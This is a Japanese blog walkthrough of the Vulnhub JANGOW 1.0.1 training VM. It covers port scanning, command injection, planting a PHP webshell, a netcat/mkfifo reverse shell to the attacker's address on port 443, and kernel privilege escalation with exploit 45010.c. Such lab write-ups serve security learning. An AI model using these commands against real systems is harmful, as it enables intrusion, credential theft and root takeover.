【ペネトレーションテスト】 Vulnhub JANGOW: 1.0.1

ペネトレーション環境


攻撃機: IP: 192.168.149.128(Kali)

ターゲットマシン: IP: 192.168.149.129

ターゲットマシンダウンロード先: https://www.vulnhub.com/entry/jangow-101,754/

ペネトレーションの実施


一、 IPおよびポート情報の取得

nmapを使用して同セグメントのIPをスキャンします。VMwareを使用している場合、スキャンできないことがあります。その場合は、ターゲットマシンのリカバリーモードでネットワークカードを再設定する必要があります。ネット上に多くのチュートリアルがあるため、ここでは詳述しません。

nmap -sn 192.168.149.0/24

ターゲットマシンのIPが`192.168.149.129`であることが判明しました。

次にポートをスキャンします(少し時間がかかります)。

nmap -sV -p- -A -O 192.168.149.129

ターゲットマシンは21番ポートと80番ポートを開放しており、ソフトウェアのバージョン番号とオペレーティングシステムが判明しました。

二、 脆弱性の発見

1. 80番ポートへのアクセス

ウェブサイトを開くと、複数のリンクが表示されます。一つずつクリックしていくと、GET型パラメータが利用できる場所が見つかりました。

ここに`whoami`コマンドを入力してみると、実行できることがわかりました。

2. 攻撃の実行

コマンド実行が可能なため、リバースシェルを試みます。しかし、`bash -i`や`nc`を使用してもリバースシェルを確立できません。

次に、ワンライナーWebシェルの書き込みを試みます。

echo '' >> backdoor.php

ディレクトリを確認すると、ワンライナーWebシェルが書き込まれていることが確認できます。

次に、Weevelyを使用して接続します。

接続後、ディレクトリを閲覧すると、疑わしいファイルが見つかり、そこからユーザー名とパスワードが発見されました。

スキャンで見つかった21番ポートを使用して、このユーザーでログインを試みます。

ログインは成功しましたが、有用なファイルは見つかりませんでした。

三、 権限昇格

引き続きncを使用して接続します。`nc_shell.php`というファイルを作成し、system関数を呼び出してbash内でnc接続を実行します。

&1 | nc 192.168.149.128 443 >/tmp/fifo");?>
  • rm /tmp/fifo: /tmp/fifoというファイルを削除します(存在する場合)。
  • mkfifo /tmp/fifo: 名前付きパイプ(FIFO)ファイル/tmp/fifoを作成します。
  • cat /tmp/fifo | /bin/sh -i 2>&1: /tmp/fifoの内容を/bin/sh(Bashシェル)に渡し、対話的なコマンド実現を実現します。
  • nc 192.168.149.128 443 >/tmp/fifo: netcat (nc)コマンドを使用して標準入力と出力を/tmp/fifoにリダイレクトし、コマンド出力をIPアドレス192.168.149.128、ポート番号443のリモートホストに送信します。

ここで試したところ、443ポート以外は使用できませんでした。443はデフォルトのHTTPSポートですが、このマシンではそのポートでサービスが有効になっていないため、443でテストしてみると、成功することがわかりました。

まずKaliで443ポートをリッスンし、次に192.168.149.129/site/nc_shell.phpにアクセスします。

リバースシェルが正常に確立されました。

現在のターミナルで対話的なbashターミナルを作成します。

python3 -c 'import pty; pty.spawn("/bin/bash")'

これにより、ユーザーは通常のターミナルで直接実行するのと同じようにコマンドを実行し、システムと対話できます。

次に、取得したユーザー名とパスワードを使用してログインし、`sudo -l`コマンドを使用してこのユーザーが使用できるsudoコマンドを確認します。

このユーザーには利用できる場所がないため、システムの脆弱性をさらに探す必要があります。

システムのカーネルバージョンとディストリビューションを確認します。

uname -a                # カーネルバージョンの確認
lsb_release -a          # Ubuntuバージョンの確認

システムバージョンを検索します。

searchsploit 4.4.0-31 ubuntu

図の赤枠内の3つの脆弱性タイトルに`Privilege Escalation`が含まれていることがわかります。これらは権限昇格に使用されることを示しています。

次に、赤枠内の最初のexpを使用してみます。まず、このexpのパスを確認します(これらのexpはすべてローカルに保存されています)。

searchsploit -p 45010.c

次に、その詳細情報を確認します。

cat /usr/share/exploitdb/exploits/linux/local/45010.c

ファイルのヘッダーには、使用方法が記載されています。つまり、`gcc`でコンパイルしてから実行すればよいです(実行権限を追加することを忘れないでください)。

次に、expをダウンロードします。ファイルの最後に保存先のパスが表示されます。

searchsploit -m 45010.c

それをコンパイルします。

gcc 45010.c -o exploit

次に、それをターゲットマシンに送り返します。通常、pythonで簡易サーバーを起動すればよいです。

サーバー: python3 -m http.server [ポート]
クライアント: wget [ホスト:8000/ファイル名]

しかし、試したところ転送に失敗しました。このターゲットマシンにはFTPサービスも開いているため、FTP経由で転送したり、Weevelyで転送したりできます。ここではFTPを使用して転送します。

expをターゲットマシンの`/home/jangow01/exp`に正常に転送しました。`put`コマンドでファイルを転送する場合、そのファイルがKaliの現在のパスに存在する必要があることに注意してください。

次に、このファイルに実行権限を追加し、実行しますが、ここでエラーが発生しました。

これは、使用しているKaliのバージョンが高すぎるため、高バージョンのGLIBCでコンパイルされたファイルがターゲットマシンで実行できないためです。

ソースコードがあるため、ソースコードを直接ターゲットマシンに転送できます(ファイルの転送方法は既に説明したため、ここでは繰り返しません)。ターゲットマシンでコンパイルして実行します。

ここで、私たちの権限がrootになっていることがわかります。ペネトレーションは完了しました。

タグ: ペネトレーションテスト セキュリティ 漏洞利用 権限昇格 セキュリティ脆弱性

6月17日 23:59 投稿